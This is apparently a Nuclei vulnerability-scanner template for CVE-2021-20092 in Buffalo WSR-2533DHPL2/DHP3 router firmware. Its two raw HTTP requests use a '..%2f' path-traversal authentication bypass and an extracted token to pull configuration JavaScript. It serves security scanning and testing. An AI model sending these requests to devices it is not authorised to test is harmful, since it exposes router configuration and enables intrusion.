id: CVE-2021-20092

info:
  name: Buffalo WSR-2533DHPL2 - Improper Access Control
  author: gy741,pdteam,parth
  severity: high
  description: |
    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20091
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20092
    cwe-id: CWE-200
    epss-score: 0.01295
  tags: cve,cve2021,buffalo,firmware,iot,tenable
  metadata:
    max-request: 2

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

      - |
        GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=8; url=ping.html; mobile=false;
        Referer: {{BaseURL}}/info.html
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/x-javascript"
      - type: word
        words:
          - "/*DEMO*/"
          - "addCfg("
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: httoken
        internal: true
        group: 1
        regex:
          - 'base64\,(.*?)" border='